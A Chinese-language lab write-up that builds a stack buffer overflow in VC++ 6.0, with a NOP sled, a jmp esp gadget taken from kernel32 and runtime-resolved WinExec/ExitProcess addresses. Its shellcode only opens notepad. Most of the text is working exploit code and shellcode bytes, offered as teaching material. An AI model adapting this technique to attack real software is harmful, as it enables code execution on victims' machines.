實驗目標:使用VC++ 6.0編寫shellcode.cpp,用memcpy函數構造緩沖區溢出;並構造shellcode數組,數組的內容為覆蓋掉返回地址EIP后,去打開notepad.exe。
1.首先完成主函數的編寫:
void test()
{
char buffer[10];
memcpy( buffer, shellcode, sizeof(shellcode) );
}
void main()
{
test();
}
主函數只調用test()函數,test()函數用memcpy函數造成緩沖區溢出,即大數據往小空間上拷貝。接下來編寫shellcode,只要shellcode的大小超過10,返回地址EIP就會被覆蓋掉,轉向攻擊代碼,也就是打開notepad.exe。
2.編寫shellcode:
shellcode是指能完成特殊任務的自包含的二進制代碼,根據不同的任務可能是發出一條系統調用或建立一個高權限的shell,shellcode因此而得名。
在本次實驗中,shellcode的任務是打開noteped.exe。所以需要利用OllyICE工具來編寫構造二進制代碼:
接下來以二進制的形式復制該段代碼:
替換成十六進制的形式,構成shellcode數組:
char shellcode[] = {
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0
};
然后編譯程序,執行后會報錯,需要使用OllyICE進行調試:
找到memcpy函數,在離它最近的retn即為要尋找的返回地址EIP,下一個斷點。F9跳轉到該地址執行,觀察堆棧區:
現在情況就是發生了溢出,沒有控制好溢出后的函數返回地址,讓其進入了一個不能讀寫的地址上去執行,所以報錯。
唯一的辦法就是去耐心的反復調試。本次調試前,請先加上一組0x90(對應nop,即空操作),如下:
char shellcode[] = {
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0
};
繼續調試,觀察堆棧區情況,返回地址為0x90909090,需要改寫該地址才能讓程序進入shellcode區執行。
通過精心計算,返回地址可以填寫0012FF34,因為函數返回跳轉到0012FF34上去執行,是一串空操作,但之后就會進入我們寫的打開記事本的shellcode區。
shellcode第一個有效字符為64,它之前有10個90,然后就是返回地址。改寫情況如下:
char shellcode[] = {
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x34,0xFF,0x12,0x00,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0
};
運行:
如果本機報錯,可繼續用上面的方法進行調試。
3.通用性改進:
這樣編寫的exe只能在該系統上運行,如果換台機器,堆棧區不一定是0012FF34后布置攻擊代碼。為了增強通用性,就是我們要解決的第一個問題,0012FF34不能硬編碼寫死。
用OllyICE工具調試,跳轉到0012FF34,觀察寄存器區,函數返回前后ESP指針的情況,如圖所示:
觀察后發現函數調用返回后棧頂指針的內容恰好為0012FF34,所以如果想進入到該地址執行,最后是用一條指令替代硬編碼地址,jmp esp指令可以解決該問題。jmp esp指令對應的二進制碼為FFE4,為了程序通用性,最好在系統必要的動態鏈接庫中去找(如kernel32),點擊OllyIce上方的M圖標進入內存區域,在kernel32.dll查找FFE4:
找到7FFA4512地址下存有FFE4,所有可以用該地址替換掉0012FF34,替換情況如下:
char shellcode[] = {
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0
};
這樣改寫后,如果均為XP操作,該EXE均能打開notepad。
如果是不同版本的操作系統,程序的通用性還需要進一步改進,主要問題在於還有其他的硬編碼地址需要動態獲取。shellcode區域里的0x7C8623AD為WinExec在XP下的函數地址,0x7C81CAFA為ExitProcess的函數地址,並且0x7FFA4512地址在高版本操作系統下也不一定對應FFE4這一條指令。
為了解決這個問題,可以利用LoadLibrary和GetProcAddress函數進行聯合調用,獲取API函數地址,然后把該地址反填回shellcode。
DWORD a1 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"WinExec");
DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"ExitProcess");
*(DWORD*)(shellcode+49) = a1; /*根據自己的實際情況填寫*/
*(DWORD*)(shellcode+58) = a2;
找到后把地址回填到shellcode對應的位置上:
DOWRD base = 0x00400000;
while ( 1 )
{
if( *(WORD *)base == 0xe4ff )
break;
base ++;
}
*( DWORD *)&shellcode[16] = base;
三個硬編碼地址處理后,程序就可以在多個版本操作系統上正常執行。
Win10運行結果(注意殺毒軟件會殺掉):
完整代碼:
#include <windows.h>
char shellcode[] = {
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0
};
void test()
{
char buffer[10];
memcpy( buffer, shellcode, sizeof(shellcode) );
}
void main()
{
DWORD base = 0x00400000; /*imagebase*/
while ( 1 )
{
if( *(WORD *)base == 0xe4ff )
break;
base ++;
}
*( DWORD *)&shellcode[16] = base;
DWORD a1 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"WinExec");
DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"ExitProcess");
*(DWORD*)(shellcode+49) = a1; /*根據自己的實際情況填寫*//*WinExec函數地址對應的位置*/
*(DWORD*)(shellcode+58) = a2; /*ExitProcess函數地址對應的位置*/
test();
}